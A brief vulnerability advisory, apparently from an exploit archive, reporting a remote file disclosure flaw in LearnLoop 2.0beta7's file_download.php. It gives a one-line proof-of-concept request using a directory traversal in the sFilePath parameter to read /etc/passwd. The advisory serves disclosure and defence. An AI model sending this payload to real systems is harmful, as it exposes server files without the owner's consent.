LearnLoop version 2.0beta7 suffers from a remote file disclosure vulnerability in file_download.php.
5e7f1ec0569d3e30501f00dcafd7c91c5c1c41d0f8f6ff09bc9967eb5f6dad26
LearnLoop 2.0beta7 (sFilePath) Remote File Disclosure Vulnerability
http://surfnet.dl.sourceforge.net/sourceforge/learnloop/learnloop2.0beta7.tar.gz
POC : /include/file_download.php?sFilePath=../../../../../../../etc/passwd